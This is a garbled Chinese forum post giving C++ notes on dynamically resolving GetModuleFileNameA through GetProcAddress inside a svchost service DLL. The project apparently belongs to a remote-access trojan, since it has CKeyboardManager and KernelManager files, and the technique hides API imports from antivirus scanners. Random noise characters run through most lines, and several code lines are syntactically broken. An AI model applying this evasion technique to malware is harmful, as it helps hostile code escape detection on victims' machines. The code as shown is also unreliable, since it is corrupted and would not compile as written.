[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记* p; Z: |, j6 _7 |
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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( K  ?; ~$ {" w! W! B, zDTDY.h：
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#if _MSC_VER>10000 ?5 |# m/ h; f# c/ _
#pragma once
7 c! D; q' D$ c# I; p#endif //_MSC_VER>1000
4 d7 \! w+ D1 X+ X#include<windows.h>+ F$ a! K- v, i( [  }  L

; Y3 c, K" i1 o/ Btypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
2 v7 p2 Z( d: `6 lclass DTDY
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0 n* n! I' Q- s5 r1 W+ DDTDY();( o. b: n  G9 s
virtual ~DTDY();- h- z7 u" K) Z5 _# P
public:: b( C0 N+ ?- g7 J4 _
static pGetModuleFileNameA MyGetModuleFileName;; C* r4 ~4 \( Z$ C8 t% a
static BOOL FunInitiallization();
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. j( B% H6 d3 p, I3 n3 J#endif
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+ J3 E$ x; D2 x; Y. G/ ?& {& {& iDTDY.cpp:1 u# ^0 ~0 H2 E
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#include "DTDY.h"
$ j; r" ~6 r4 B! lpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;9 T/ J* L# b4 A, V/ |3 n; q) ^
DTDY:TDY()) I9 t; D1 q$ Q: K
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DTDY::~DTDY()0 |5 l) [2 O1 \9 `2 ~; ]
{
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- z1 o8 S: ~' C" u9 hBOOL DTDY::FunInitiallization()
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HMODULE hModule=LoadLibrary("kernel32.dll");
& Y; G. e7 J# EMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
4 j4 z+ g; y. D) k5 r' w; Z  _if(!MyGetModuleFileName=) return FALSE;
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return TRUE;
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svchost.cpp:
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#include "DTDY.h"' L* _/ ^% F8 z8 e
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved); E1 P! A! U2 H
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switch(ul_reason_for_call)- @/ Z% e' m0 c1 C# O- w
{
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if(!DTDY::FunInitiallization()) return FALSE;2 ]) ~* ~. T9 Z/ j* t$ {
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break;* v  k  a  c2 g, m; e+ \% I
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
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DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));3 P1 D" [: Z4 M# n' d* L
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KernelManager.cpp:6 r4 L. N+ o: R) }' {- y

6 G) b2 W& c- y#include "../DTDY.h", j5 O" K) b8 I+ t& v2 x; C
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));$ a$ R3 z$ k2 l3 [3 w0 Q
改写为1 M3 h  }' c) H% i8 h9 V
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));  P* @$ N  f8 V( m9 U( W+ [( R# n
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